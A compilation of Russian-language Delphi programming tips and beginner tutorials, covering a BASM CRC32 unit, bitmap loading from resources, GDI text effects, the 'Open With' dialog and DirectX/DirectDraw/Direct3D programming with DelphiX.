Code: { **** UBPFD *********** by kladovka.net.ru **** >> Быстрый алгоритм подсчета CRC32. Использован BASM. Зависимости: нет. Автор: Александр Шарахов, alsha@mailru.com, Москва. Copyright: Александр Шарахов. Дата: 18 января 2003 г. ********************************************** } Unit CRCunit; Interface. Function GetNewCRC(OldCRC: cardinal; StPtr: pointer; StLen: integer): cardinal; Procedure UpdateCRC(StPtr: pointer; StLen: integer; var CRC: cardinal); Function GetZipCRC(StPtr: pointer; StLen: integer): cardinal; Function GetFileCRC(const FileName: string): cardinal; Implementation. Var. CRCtable: array[0..255] of cardinal; Function GetNewCRC(OldCRC: cardinal; StPtr: pointer; StLen: integer): cardinal; Asm. Test edx,edx; Jz @ret; Neg ecx; Jz @ret; Sub edx,ecx; // Address after last element. Push ebx; Mov ebx,0; // Set ebx=0 & align @next. @next: Mov bl,al; Xor bl,byte [edx+ecx]; Shr eax,8; Xor eax,cardinal [CRCtable+ebx*4]; Inc ecx; Jnz @next; Pop ebx; @ret: End; Procedure UpdateCRC(StPtr: pointer; StLen: integer; var CRC: cardinal); Begin. CRC:=GetNewCRC(CRC,StPtr,StLen); End; Function GetZipCRC(StPtr: pointer; StLen: integer): cardinal; Begin. Result:=not GetNewCRC($FFFFFFFF, StPtr, StLen); End; Function GetFileCRC(const FileName: string): cardinal; Const. BufSize = 64*1024; Var. Fi: file; PBuf: PChar; Count: integer; Begin. Assign(Fi,FileName); Reset(Fi,1); GetMem(pBuf,BufSize); Result:=$FFFFFFFF; Repeat. BlockRead(Fi,pBuf^,BufSize,Count); If Count=0 then break; Result:=GetNewCRC(Result,pBuf,Count); Until false; Result:=not Result; FreeMem(pBuf); CloseFile(Fi); End; Procedure CRCInit; Var. C: cardinal; I, j: integer; Begin. For i:=0 to 255 do begin. C:=i; For j:=1 to 8 do if odd(c) then c:=(c shr 1) xor $EDB88320 else c:=(c shr 1); CRCtable[i]:=c; End; End; Initialization. CRCinit; End.

Загрузка Bitmap из .res без потери палитры.

Code: Procedure loadgraphic(naam:string); Var. HResInfo: THandle; BMF: TBitmapFileHeader; MemHandle: THandle; Stream: TMemoryStream; ResPtr: PByte; ResSize: Longint; Null:array [0..8] of char; Begin. Strpcopy (null, naam); HResInfo := FindResource(HInstance, null, RT_Bitmap); ResSize := SizeofResource(HInstance, HResInfo); MemHandle := LoadResource(HInstance, HResInfo); ResPtr := LockResource(MemHandle); Stream := TMemoryStream.Create; Try. Stream.SetSize(ResSize + SizeOf(BMF)); BMF.bfType := $4D42; Stream.write(BMF, SizeOf(BMF)); Stream.write(ResPtr^, ResSize); Stream.Seek(0, 0); Bitmap:=tbitmap.create; Bitmap.LoadFromStream(Stream); Finally. Stream.Free; End; FreeResource(MemHandle); End;

Загрузка 256-цветного TBitmap.

Автор: Steve Schafer.

Windows не очень полезен, когда мы имеем дело с 256-цветными изображениями. Что делаю я (поскольку думаю, что это самый простой метод): я создаю в памяти изображение таким образом, чтобы TBitmap.LoadFromStream мог "принять" его. Данным методом я загружаю "сырой" ресурс изображения и размещаю его, используя инфорационный заголовок файла изображения. Вот потомок TBitmap, инкапсулирующий вышесказанное:

Code: Type. TMyBitmap = class(TBitmap). Public. Procedure Load256ColorBitmap(Instance: THandle; BitmapName: PChar); End; Procedure TMyBitmap.Load256ColorBitmap(Instance: THandle; BitmapName: PChar); Var. HDib: THandle; Size: LongInt; Info: PBitmapInfo; FileHeader: TBitmapFileHeader; S: TMemoryStream; Begin. HDib := LoadResource(Instance, FindResource(Instance, BitmapName, RT_BITMAP)); If HDib <> 0 then. Begin. Info := LockResource(HDib); Size := GetSelectorLimit(Seg(Info^)) + SizeOf(TBitmapFileHeader); With FileHeader do. Begin. BfType := $4D42; BfSize := Size; BfReserved1 := 0; BfReserved2 := 0; BfOffBits := SizeOf(TBitmapFileHeader) + SizeOf(TBitmapInfoHeader); Case Info^.bmiHeader.biBitCount of. 1: bfOffBits := bfOffBits + 2 * 4; 4: bfOffBits := bfOffBits + 16 * 4; 8: bfOffBits := bfOffBits + 256 * 4; End; End; S := TMemoryStream.Create; Try. S.SetSize(Size); S.Write(FileHeader, SizeOf(TBitmapFileHeader)); S.Write(Info^, Size - SizeOf(TBitmapFileHeader)); S.Position := 0; LoadFromStream(S); Finally. S.Free; FreeResource(HDib); End; End. Else. Raise EResNotFound.Create(Format('Не могу найти ресурс изображения %s', [BitmapName])); End;

Как вывести текст с красивым обрезанием если не помещается?

Используй вызов DrawTextEx, установив в параметре dwDTFormat значение DT_PATH_ELLIPSIS.

Code: Procedure TForm1.FormPaint(Sender: TObject); Var. R: TRect; Begin. R := Rect(20, 20, 110, 70); // DT_PATH_ELLIPSIS or DT_WORD_ELLIPSIS or DT_END_ELLIPSIS. DrawTextEx(Form1.Canvas.Handle, 'Delphi World - это круто!!!', 25, r, DT_WORD_ELLIPSIS, nil); End;

Как изменить фоновый цвет текста?

Автор: Олег Кулабухов.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. OldTextColor: TColorRef; OldBkColor: TColorRef; OldBkMode: Integer; Begin. OldTextColor := SetTextColor(Form1.Canvas.Handle, clYellow); OldBkColor := SetBkColor(Form1.Canvas.Handle, clGreen); OldBkMode := SetBkMode(Form1.Canvas.Handle, OPAQUE); TextOut(Form1.Canvas.Handle, 20, 20, 'Delphi World - лучше всех! ;-)', 27); SetBkMode(Form1.Canvas.Handle, OldBkMode); SetBkColor(Form1.Canvas.Handle, OldBkColor); SetTextColor(Form1.Canvas.Handle, OldTextColor); End;

Алгоритмы потухания текста и обратного ему эффекта.

Вот небольшой участок кода из купленного мною CD-ROM "How To Book". Файл с именем "HowUtils.Pas" содержит реализацию алгоритма "потухания" текста и обратного ему эффекта на холсте, откуда вы можете почерпнуть необходимую вам информацию.

Code: Function TFadeEffect.FadeInText(Target: TCanvas; X, Y: integer; FText: string): TRect; Var. Pic: TBitmap; W, H: integer; PicRect, TarRect: TRect; Begin. Pic := TBitmap.Create; Pic.Canvas.Font := Target.Font; W := Pic.Canvas.TextWidth(FText); H := Pic.Canvas.TextHeight(FText); Pic.Width := W; Pic.Height := H; PicRect := Rect(0, 0, W, H); TarRect := Rect(X, Y, X + W, Y + H); Pic.Canvas.CopyRect(PicRect, Target, TarRect); SetBkMode(Pic.Canvas.Handle, Transparent); Pic.Canvas.TextOut(0, 0, FText); FadeInto(Target, X, Y, Pic); Pic.Free; FadeInText := TarRect; End; Procedure TFadeEffect.FadeOutText(Target: TCanvas; TarRect: TRect; Orig: TBitmap); Var. Pic: TBitmap; PicRect: TRect; Begin. Pic := TBitmap.Create; Pic.Width := TarRect.Right - TarRect.Left; Pic.Height := TarRect.Bottom - TarRect.Top; PicRect := Rect(0, 0, Pic.Width, Pic.Height); Pic.Canvas.CopyRect(PicRect, Orig.Canvas, TarRect); FadeInto(Target, TarRect.Left, TarRect.Top, Pic); Pic.Free; End;

О DelphiX.

DelphiX - плагин под Дельфи, но не простой, а... нет, и не золотой, он очень нужный! Нужнее DеlрhiХ'а есть только один другой плагин - RX Library, но о нем в другой секции. Но что же это за плагин такой? ДельфиИкс - маленький модуль для Дельфей, который позволяет работать с DirectX под Delphi. С названием разобрались, теперь надо разобраться с тем, как он работает. В состав ДельфИкса входят: DXDraw, DXDib, DXImagelist, DX3D, DXSound, DXWave, DXWaveList, DXInput, DXPlay, DXSpriteEngine, DXTimer, DXPaintBox. Теперь расскажу о каждом понемногу:

DXDraw.

Основной компонент ДельфИкса, это его "рабочий стол", на котором отображается все остальное.

DXDib.

Абсолютно ненужный компонент, не знаю зачем он здесь...

DXImagelist.

Компонент для работы с файлами графики, контейнер, куда пихают все картинки.

DX3D.

Комментарии излишни...

DXSound.

Компонент для доступа к библиотеке DirectX dxsound.dll.

DXWave.

То же, что и DXDib.

DXWaveList.

То же, что и DXImageList, но для звука.

DXInput.

Этот компонент должен служить для ввода данных с клавиатуры, мышки и джойстика.

DXPlay.

Компонент для создания мультиплеера.

DXSpriteEngine.

То же, что и DXSound, но для графики.

DXTimer.

Обычный таймер. но с немного расширенными возможностями.

DXPaintBox - ???

Скачать ДельфИкс вы сможете на сайте http://instrumentari.narod.ru.

©Drkb::03928.

Взято с http://delphiworld.narod.ru.

DirectX и Delphi - введение.

Как обычно, начну с оговорок.

Первое – для меня большая проблема перевести некоторые термины. Поэтому я думаю может и не стоит их переводить. :-) Вот список терминов, которые вызывают у меня трудности с переводом:

Blitting - blit сокращение от "bit block transfer" пересылка блоков данных из одной области видеопамяти в другую.

Flip – переключение между буферами видеопамяти.

Surface – "поверхность" – область видеопамяти.

Второе – разговор идет о использовании DirectDraw в Delphi. Для того, чтобы воспользоваться DirectX вообще и DirectDraw в частности, нужно, чтобы во-первых DirectX был установлен на компьютере (скачать его можно у Microsoft например, впрочем я не думаю, что для читателя будет проблемой его найти), во-вторых нужны файлы заголовков DirectX – их существует немало, я по-прежднему считаю компонент DelphiX от Hiroyuki Hori – превосходным , кроме того, существует официально поддерживаемые Воrlаnd'ом заголовки DirectX, составленные в рамках проекта "JEDI" – скачать их можно с (http://www.delphi-jedi.org/DelphiGraphics/).

Третье – неплохо если Вы имеете некоторое общее представление о работе видеоадаптера (ну очень общее – тонкости не нужны) и еще более общее о COM-технологии (всего-то нужно знать что такое COM- Interface, впрочем и это не обязательно).

DirectDraw – интерфейс DirectX, предназначенный, по существу, для управления видеопамятью.

Прелесть однако заключается в том, что с DirectDraw доступ к видеопамяти становится не зависимым от типа используемой видеоплаты (ну или почти не зависимым). DirectDraw обращается к апаратуре посредством hardware abstraction layer (HAL) – (уровня абстагирования от аппаратуры). Кроме того с помощью hardware emulation layer (HEL) (уровня эмуляции аппаратуры) те возможности, которые не реализованы в данной видеокарте эмулируются программно (к сожалению тут есть пара исключений). Благодаря такому подходу жизнь программиста становится легче и веселее – если, например, видеокарта поддерживает hardware blitting – DirectDraw использует эту возможность через HAL – если нет – эмулирует через HEL (естественно эмуляция всегда медленнее). На рисунке из SDK показаны отношения между DirectDraw, GDI, HAL и HEL.

Как видно из рисунка DirectDraw находится вне GUI. DirectDraw может предоставлять области памяти, с которыми он работает в виде контекста устройства (device context, привычный для Windows-программиста), что позволяет использовать функции GDI для работы с ним (например, выводить текст с помощью функции TextOut).

DirectDraw можно использовать как при рисовании в окне Windows так и при работе в полноэкранном режиме. Я пока буду говорить только о полноэкранном режиме (с эксклюзивным уровнем кооперации).

Видео режимы.

Режим определяет размер видимой области экрана в пикселах и число бит, требуемых для представления одного пиксела ("глубина цвета ") (практически все мониторы поддерживают например режим 640ґ480ґ8). Чем больше ширина и высота экрана в пикселах, и чем больше бит требуется для представления одного пиксела, тем больше видеопамяти требуется для режима.

Кроме того видеорежимы бывают палитровыми (palettized) и безпалитровыми (non-palettized). В палитровых режимах "глубина цвета" означает число элементов палитры для данного режима, например 8-битовый палитровый режим означает, что используется палитра, размером 256 элементов. В безпалитровом режиме "глубина цвета" означает число бит для представления цвета (8 бит – 256 цветов, 16 бит – 65535 цветов и т.д.).

Чтобы выяснить какие режимы поддерживает ваша видеокарта можно использовать интефейс IDirectDraw4::EnumDisplayModes.

Пример:

Выясним все поддерживаемые видеорежимы {используем DirectX headers от JEDI}.

Code: Function MyEnumFunction(const lpDDSurfaceDesc: TDDSurfaceDesc; lpContext: Pointer): HResult; stdcall. Var. SMode: string; Begin. SMode := IntToStr(lpDDSurfaceDesc.dwWidth) + ' X '; SMode := SMode + IntToStr(lpDDSurfaceDesc.dwHeight) + ' X '; SMode := SMode + IntToStr(lpDDSurfaceDesc.ddpfPixelFormat.dwRGBBitCount); Form1.ListBox1.Items.Append(SMode); End; Procedure TForm1.Button2Click(Sender: TObject); Var. DD: IDirectDraw; Hr: HRESULT; Begin. Hr := DirectDrawCreate(nil, DD, nil); If (hr = DD_OK) then. Begin. ListBox1.Clear; DD.EnumDisplayModes(0, nil, nil, MyEnumFunction); End; End; {то же используя компонент DelphiX}. Procedure TForm1.Button1Click(Sender: TObject); Var. I: integer; SMode: string; Begin. ListBox1.Clear; For i := 0 to DXDraw1.Display.Count - 1 do. Begin. SMode := IntToStr(DXDraw1.Display.Modes[i].Width) + ' X '; SMode := SMode + IntToStr(DXDraw1.Display.Modes[i].Height) + ' X '; SMode := SMode + IntToStr(DXDraw1.Display.Modes[i].BitCount); ListBox1.Items.Append(SMode); End; End;

DirectX и Delphi.

Перед тем как приступить я хотел бы сделать пару оговорок. Во-первых для использования DirectX в Delphi необходим файл с заголовками, где объявлены имена функций DirectX API либо какой-нибудь компонент, позволяющий обращаться к интерфейсу DirectX через свои методы. В момент написания сего опуса я использую компонент DelphiX (автор - Hiroyuki Hori), распространяемый бесплатно - http://www.yks.ne.jp/~hori/DelphiX-e.html. (если у вас есть что-нибудь получше и Вы поделитесь со мной - я буду очень признателен.).

И еще один адрес, по которому можно скачать компонент DelphiX : http://www.torry.ru/vcl/packs/hhdelphix.zip.

По возможности я буду писать и названия методов DelphiX и названия соответствующих интерфейсов Directx API – чтоб вам легче было ориентироваться в DirectX SDK. Во-вторых при всем своем гипертрофированном самомнении я не могу назвать себя экспертом в области DirectX – так что не судите чересчур строго. Я надеюсь сие творение хоть как то сможет помочь делающим первые шаги в DirectX – если Вы круче меня – буду признателен за помощь и указание на ошибки (коих увы наверняка сделал немало (честное слово не нарочно :-) ) Оговорка без номера – я пишу эти строки в те времена когда последней версией DirectX является DirectX 6.

Ну что ж приступим пожалуй.

Как известно DirectX предназначен в основном для программирования игр под Windows 9x. Тем не менее можно придумать еще не мало ему применений (рано или поздно грядет таки эра повсеместного трехмерного пользовательского интерфейса). DirectX состоит из следующих компонентов:

· DirectDraw® - предназначен для программирования всевозможных анимаций за счет быстрого доступа к изображению на экране и к видеопамяти, а также за счет использования возможностей аппаратуры (видеоадаптера) по манипуляции с буферами.

· DirectSound® - как видно из названия позволяет выводить звук, используя все что можно выжать из Вашей звуковой карты (ну почти все)

· DirectMusic™ - музыка. В отличие от DirectSound работает не с оцифрованным звуком (WAV) а с музыкальными командами, посылаемыми звуковой карте.

· DirectPlay® - упрощает жизнь программиста, решившегося добавить в своей программе возможность совместной работы (игры) по сети и по модему. (это наверняка хорошо знакомо любому геймеру)

· Direct3D® (мой любимый J) – содержит высокоуровневый интерфейс Retained Mode позволяющий легко выводить 3-хмерные графические обьекты, и низкоуровневый интерфейс Immediate Mode предоставляющий полный конроль над рендерингом. (если кто-нибудь знает как будет рендеринг по-русски – мой адрес в конце статьи)

· DirectInput® - поддержка устройств ввода. Пока джойстик, мышь, клавиатура и т.д. – впрочем можете быть уверены – если появится еще что – за Microsoft не заржавеет.

· DirectSetup – предназначен для установки DirectX.

· AutoPlay – самый обычный AutoPlay – позволяет запускать какую-нибудь программу (инсталяшку или саму игру) при установке CD-диска в дисковод. Вообще-то описание AutoPlay относится к Win 32 SDK и просто повторяется в DirectX SDK (думаю Microsoft включила его в DirectX SDK просто чтоб оно было под рукой у разработчика)

Кое что о Direct3DRM®. (Reatined Mode).

Система координат.

В Direct3D она соответствует так называемому правилу "левой руки". Суть правила в том, что если Вы растопырите пальцы левой руки так, что указательный палец будет направлен к экрану, большой к потолку, а средний параллельно столу туда, где обычно лежит мышиный коврик, то большому пальцу будет соответствовать координата Y, среднему – X, указательному Z. Говоря короче координата Z направлена как бы вглубь экрана (я во всяком случае нахожусь по эту его сторону :-)), координата Y – вверх, координата X – вправо (все рисунки из SDK). Возможно Вам это покажется непривычным. А что Вы тогда скажите на это – в DirectX цвета задаются тремя составляющими R,G,B, каждая из которых – число с плавающей точкой в диапазоне [0-1]. Например белый цвет – (1,1,1), серенький (0.5,0.5,0.5), красный (1,0,0) ну и т.д.

Все трехмерные объекты задаются в виде набора (mesh) многоугольников (граней – faces). Каждый многоугольник должен быть выпуклым. Вообще-то лучше всего использовать треугольники – более сложные многоугольники все равно будут разбиты на треугольники (на это уйдет столь драгоценно процессорное время). Грани (faces) состоят из вершин (vertex).

Грань становится видимой если она повернута так, что образующие ее вершины идут по часовой стрелке с точки зрения наблюдателя. Отсюда вывод – если Ваша грань почему-то не видна – переставьте вершины так, чтоб они были по часовой стрелке. Кроме того имеются другие объекты – источники света (прямой свет - directional light и рассеянный свет – ambient light), т.н. камера, текстуры, которые могут быть "натянуты" на грани и прочая, прочая… Наборы объектов составляют т.н. frames (затрудняюсь дать этому русское название). В Вашей программе всегда будет хоть один главный frame, называемый сцена (scene), не имющий фрейма-родителя, остальные фреймы принадлежат ему или друг другу. Я не буду долго разговаривать о том, как инициализировать все это хозяйство, для Дельфи-программиста достаточно разместить на форме компонент TDXDraw из библиотеки DelphiX.

Перейдем однако к делу. Запустите-ка Дельфи и откройте мою (честно говоря не совсем мою – большую часть кода написал Hiroyuki Hori – однако не будем заострять на этом внимание :-)) учебную программку - Sample3D.

Найдите метод.

TMainForm.DXDrawInitializeSurface.

Этот метод запускается при инициализации компонента TDXDraw. Обратите внимание, что DXDraw инкапсулирует D3D, D3D2, D3Ddevice, D3DDevice2, D3DRM, D3DRM2, D3DRMDevice, D3DRMDevice2, DDraw – ни что иное как соответствующие интерфейсы DirectX. (только в названиях интерфейсов Microsoft вместо первой буквы D слово IDirect). Инициализация компонента очень подходящее место, чтоб выбрать кое какие режимы (что и делается в программке). Обратите внимание на DXDraw.D3DRMDevice2.SetRenderMode(D3DRMRENDERMODE_BLENDEDTRANSPARENCY or D3DRMRENDERMODE_SORTEDTRANSPARENCY); - Эти два флага установлены вот для чего – если у нас два треугольника находятся один под другим и оба видны (т.е. вершины у них по часовой) нужно их сперва отсортировать по координате Z чтоб понять кто кого загораживает. Включает такую сортировку флаг, названный скромненько эдак, по Microsots-ки: D3DRMRENDERMODE_SORTEDTRANSPARENCY. Однако как говаривал К. Прутков – смотри в корень. Корнем же у нас является метод.

TMainForm.DXDrawInitialize(Sender: TObject);

Здесь сначала создаются два фрейма – Mesh и Light, для нашего видимого объектика и для лампочки, его освещающей.

MeshFrame.SetRotation(DXDraw.Scene, 0.0, 10.0, 0.0, 0.05);

(первые три цифры – координаты вектора вращения, последний параметр – угол полворота) . Тонкое (не очень правда :-)) отличие между методами SetRotation и AddRotation в том, что AddRotation поворачивает объект только один раз, а SetRotation – заставляет его поворачиваться на указанный угол при каждом следующей итерации (with every render tick) Потом создается т.н. MeshBuilder – специальный объект, инкапсулирующий методы для добавления к нему граней. Этот обьект может быть загружен из файла (и естественно сохранен в файл). По традиции файлы имеют расширение X. (насколько мне извесно эта традиция возникла еще до появления сериала X-Files :-)) В самом же деле – в конце 20 века задавать координаты каждого треугольника вручную… Можно заставит сделать это кого то еще – а потом просто загрузить готовый файл :-). Ну а если серьезно в DirectX SDK входит специальная утилита - conv3ds. {conv3ds converts 3ds models produced by Autodesk 3D Studio and other modelling packages into X Files. }.

Однако создадим объект вручную – ну их эти Х-файлы. Наш объект будет состоять из 4-х граней (ни одного трехмерного тела с меньшим количеством граней я не смог придумать). Естественно каждая грань – треугольник, имеющий свой цвет.

MeshBuilder.Scale(3, 3, 3); - Увеличиваем в три раза по всем координатам.

Наконец MeshFrame.AddVisual(MeshBuilder); - наш MeshBuilder готов, присоединяем его как визуальный объект к видимому объекту Mesh.

DXDraw.Scene.SetSceneBackgroundRGB(0,0.7,0.7); -

Как понятно из названия метода цвет фона. (Видите – я не врал RGB-цвет действительно задается числами с плавающей точкой :-)) Интересные дела творятся в методе TMainForm.DXTimerTimer. (небольшая тонкость – это не обычный таймер, а DXTimer из библиотеки DelphiX).

DXDraw.Viewport.ForceUpdate(0, 0, DXDraw.SurfaceWidth,

DXDraw.SurfaceHeight);

Указываем область, которую нужно обновить (не мудрствуя лукаво – весь DXDraw.Surface).

DXDraw.Scene.Move(1.0);

- применяем все трехмерные преобразования, добавленные методами вроде AddRotation и SetRotation к нашей сцене. (вот где собака то порылась… :-) вычисления новых координат точек начнутся не сразу после метода AddRotation а только здесь).

DXDraw.Render – Рендерим (ну как же это по русски то? :-)).

DXDraw.Flip – выводим результат рендеринга на экран (аминь :-));

(в этом методе помещены также несколько строк, выводящих на экран число кадров в секунду и информацию о поддержке Direct3D аппаратурой или программно – пригодится при отладке) Метод FormKeyDown.

Здесь проверяется код нажатой клавиши – если Alt+Enter – переходим из оконного в полноэкранный режим (клево, правда? :-)) и наоборот. Напоследок пара слов о DXDrawClick.

Просто выводим FileOpenDialog – Вы можете поэкспериментировать с x-файлами. Пока все. Вот уж не думал, что это будет так трудно. Надеюсь хоть кто-то дочитал до этого места.

Пишите: aziz@telebot.net, error@softhome.net.

Автор: Азиз (JINX).

©Drkb::03917.

Взято с http://delphiworld.narod.ru.

DirectX для начинающих. Считывание и запись.

Привет всем, кто интересуется программированием под DirectX на языке Object Pascal!

Как и обещал, я продолжаю искать новый материал по DirectX, переводить его на язык Object Pascal и представлять всеобщему вниманию. Недавно у меня появилась идея снятия скриншотов с экрана DirectDraw-программы и записи изображения в простой bmp-файл - некоторые игры позволяют это делать, и я решил последовать их примеру. Потом я наткнулся на другой интересный материал - речь шла о загрузке изображения из bmp-файла без использования функции LoadImage(). Поэтому тема статьи всецело посвящена работе с bmp-файлами на "низком уровне". Замечу, что это немного сложные вещи, но мы ведь сложностей не боимся, правда? Иначе непонятно, зачем тогда заниматься изучением DirectX вообще.

Замечания.

Каждому примеру для нормальной работы необходимо, чтобы файл data.bmp находился в том же каталоге, что и исполняемый файл. Для экономии места в архиве я разместил этот файл в папке первого примера, поэтому вам надо будет скопировать его и в остальные папки.

Немного изменилась реализация модуля ddutils.pas - теперь функция CreateSurface() не требует адрес главного интерфейса IDirectDraw, а создаёт и уничтожает локальный интерфейс. Возможно, более практично с точки зрения Pascal-программирования было бы объявить глобальный для модуля ddutils.pas интерфейс IDirectDraw, а для создания и удаления интерфейса воспользоваться секциями initialization и finalization модуля.

Также немного изменился стиль написания программ, теперь он совсем грешит С-подобным кодом :-).

FASTFILE1.

В этом примере я попытаюсь показать, как произвести загрузку растра из bmp-файла методом, отличным от того, что применялся в предыдущих уроках. Напомню, как в общих чертах выглядела схема загрузки ранее:

С помощью функции LoadImage() загружался растр и нам сообщался идентификатор загруженного растра в виде переменной типа HBITMAP;

Функцией SelectObject() в контекст-источник выбирался созданный растр;

Методом IDirectDrawSurface7.GetDC() создавался GDI-совместимый дескриптор контекста-приёмника и осуществлялась блокировка поверхности;

Функцией GDI BitBlt() содержимое контекста-источника копировалось на контекст-приёмник.

Методом IDirectDrawSurface7.ReleseDC() удалялся созданный контекст и осуществлялась разблокировка поверхности.

В чём недостатки такого подхода? В универсальности. Не скажу, что функция LoadImage() очень медленная, но и очень быстрой она не является. Во всяком случае, программисты, писавшие её, не ставили своей задачей обеспечить максимальную скорость загрузки. Посмотрите справку по этой функции (файл win32sdk.hlp) - обилие параметров и констант, задаваемых при вызове, наводят на мысль о том, что она довольно "тяжеловесна". В частности, сказано, что с её помощью можно загружать не только растры из bmp-файлов разных форматов (в их число входят монохромные, 16- и 256-цветные палитровые файлы, а также беспалитровые 24-битные файлы), но и файлы иконок Windows и даже файлы, содержащие изображения курсоров.

Естественно, всё это отрицательно сказывается на скорости загрузки - метод получается простым, но не самым эффективным. Поэтому часто программисты пишут собственные быстрые функции для загрузки файлов какого-то определённого формата. В этом примере я реализовал отдельную функцию, которая предназначена для загрузки данных из 24-битного беспалитрового файла формата bmp.

Прежде чем приступить к рассмотрению работы функции, необходимо в общих чертах представить себе, каким образом записывается информация в bmp-файле. На рис. 1 показана структура беспалитрового 24-битного файла.

Хранящийся на диске файл DIB, обычно с расширением .bmp, как видно, начинается со структуры BITMAPFILEHEADER, позволяющей начать работу с файлом. Вот как эта структура описана в файле windows.pas:

Code: TagBITMAPFILEHEADER = packed record. BfType: Word; // Тип файла. Должен содержать 'BM' ($4d42). BfSize: DWORD; // Размер файла в байтах. BfReserved1: Word; // Зарезервировано, должен быть нуль. BfReserved2: Word; // Зарезервировано, должен быть нуль. BfOffBits: DWORD; // Смещение от начала файла до гафических данных. End; BITMAPFILEHEADER = tagBITMAPFILEHEADER;

Как показать Open With диалог?

Code: { This code displays the application/file "Open With" dialog. Passing the full file path and name as a parameter will cause the. Dialog to display the line "Click the program you want to use to open. The file 'filename'". } Uses. ShellApi; Procedure OpenWith(FileName: string); Begin. ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'), PChar('shell32.dll,OpenAs_RunDLL ' + FileName), nil, SW_SHOWNORMAL); End; Procedure TForm1.Button1Click(Sender: TObject); Begin. If Opendialog1.Execute then. OpenWith(Opendialog1.FileName); End;

DirectX для начинающих. Часть вторая.

Прошёл месяц с тех пор как я написал первую часть ( http://www.delphikingdom.com/helloworld/directx.htm ) статьи по использованию DirectX в среде Delphi. У меня накопилось ещё несколько примеров, которые, надеюсь, послужат наглядным руководством для начинающих.

Прежде, чем описывать предложенные общему вниманию программы, хочу сообщить о некоторых изменениях в их коде по сравнению с примерами первой статьи, чтобы не останавливаться впоследствии на этих мелких деталях.

Вызовы _AddRef() и _Release() больше не используются – в конце концов я посчитал это бессмысленной тратой времени при наборе кода. К тому же, как выяснилось, что вызов именно этих методов привёл к неработоспособности одного из примеров предыдущей статьи – если кто интересовался, знает, что это был пример опроса клавиатуры с использованием DirectInput. После удаления вызовов программа стал работать корректно. По-видимому, имело место некорректное взаимодействие с драйвером клавиатуры.

Выражение вида if COM-объект <> nil then COM-объект := nil.

Переписано с использованием процедуры следующего вида:

Code: Procedure SAFE_DELETE(p: TInterfacedObject); Begin. If p <> nil then. P := nil. End;

DirectX (Игровой SDK).

Автор: Стас Бакулин.

©Drkb::03912.

Взято с http://delphiworld.narod.ru.

DirectX (Игровой SDK) 1.

Модель компонентных объектов (СОМ).

Перед углублением и изнурительные подробности DirectDraw сначала несколько слов о модели компонентных объектов - кратко СОМ. Delphi использует объектно-ориентированный язык программирования Object Pascal. Дизайнеры Delphi решили сделать родные Delphi объекты полностью совместимыми с СОМ и OLE. Это большая новость для нас, потому что DirectDraw использует интерфейс СОМ и поэтому из Delphi получить к нему доступ достаточно просто.

Объекты СОМ подробно освещены в разделе Delphi. Но для того, чтобы сэкономить ваше время, предоставлю краткий обзор. В Delphi вы работаете с объектом СОМ практически так же, как и с другим объектом. Объекты СОМ выглядят по сути как обычные объекты Delphi. Они имеют методы, которые вы вызываете для доступа к их услугам. Тем не менее, они не имеют полей или свойств. Главным отличием является то, что вы вызываете метод Release вместо метода Free, если вы хотите освободить эти объекты.

Вы также никогда не создаете объект СОМ путем вызова конструктора. Вместо этого вы вызываете функцию в DirectDraw для создания главного объекта DirectDraw. Этот объект имеет дальнейшие методы, которые вы используете для создания других методов. Помимо этих двух вопросов вы можете фактически думать о них как об объектах Delphi.

Объекты СОМ DirectDraw определяются в довольно сложном файле-заголовке на С, который поставляется с Game SDK. Однако я перевел это в модуль импорта, который вы можете использовать в Delphi. Это файл DDraw.pas на сопровождающем CD-ROM. Для того, чтобы получить доступ к DirectDraw, просто добавьте DDraw в предложение uses.

DirectDraw.

DirectDraw может оказаться довольно каверзным в использовании. На первый взляд он кажется простым; существует только несколько СОМ-классов и они не имеют большого количества методов. Однако DirectDraw использует записи для определения всех видов различных параметров при создании своих объектов. На первый взгляд они выглядят действительно устрашающе. Вы можете найти их в справочных файлах Game SDK, начиная с букв DD, например DDSurfaceDesc. Являясь API низкого уровня, существует множество опций и параметров, которые допускают разницу в спецификациях аппаратного обеспечения и возможностях. К счастью, в большинстве случаев можно проигнорировать множеством этих опций. Самой большой проблемой в момент написания этой книги является недостаток информации в GDK документации, которая описывает, какие комбинации опций разрешаются, поэтому для того, чтобы помочь вам найти путь через минное поле, эта глава поэтапно проходит по всем стадиям создания приложения DirectDraw. Я представляю код, который добавляется на каждом этапе и использует его для объяснения аспекта DirectDraw, также как и рабочий пример, на основании которого можно строить свои собственные программы.

Объект IDirectDraw.

DLL с DirectDraw фактически имеет самый простой из интерфейсов. Она экспортирует только одну функцию: DirectDrawCreate. Вы используете эту функцию для создания СОМ-объекта IDirectDraw, который открывает остальную часть API. Таким образом, первое, что должен сделать пример - создать один из таких объектов. Вы делаете это в обработчике события OnCreate формы и разрушаете его в OnDestroy. Лучшим местом хранения объекта является приватное поле главной формы. Листинг 1 содержит базовый код для осуществления этого.

Листинг 1 Создание объекта IDirectDraw.

Code: Unit Uniti; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, DDraw; Type. TFormI = class (TForm). Procedure FormCreate (Sender: TObject); Procedure FormDestroy (Sender: TObject) ; Private. DirectDraw : IDirectDraw ; // главный объект DirectDraw. End; Var. Formi: TFormI; Implementation. Procedure TFormI. FormCreate (Sender: TObject); Begin. { создать СОМ-объект DirectDraw }. If DirectDrawCreate( nil, DirectDraw, nil ) <> DD_OK then. Raise Exception. Create ( 'Failed to create IDirectDraw object' ) ; End; Procedure TFormI. FormDestroy (Sender: TObject); Begin. { создать СОМ-объект DirectDraw эа счет вызова его метода Release }. If Assigned ( DirectDraw ) then. DirectDraw. Release ; End; End.

DirectX (Игровой SDK) 2.

Поверхности отображения.

Теперь вы готовы создавать поверхности отображения. В DirectDraw поверхность отображения представляет собой линейную область экранной памяти, к которой можно получить непосредственный доступ для манипуляций. Поверхность отображения, которую вы видите на экране, называется основной поверхностью. Она представляет память видимого кадрового буфера на карте отображения. Вы также можете иметь невидимые поверхности, которые определяются как внеэкранные, или оверлейные поверхности. Подобное может существовать либо в регулярной системной памяти, либо во внеэкранной области памяти на самой графической карте. Для того, чтобы создать ситуацию с мелькающими страницами, необходима основная поверхность и, по крайней мере, одна внеэкранная поверхность для осуществления отображения. Для того, чтобы внеэкранная поверхность могла появляться и исчезать на экране, онадолжна находится в видеопамяти. Тем не менее, DirectDraw пытается создать поверхности в видеопамяти по умолчанию, поэтому нет необходимости предпринимать что-либо специально.

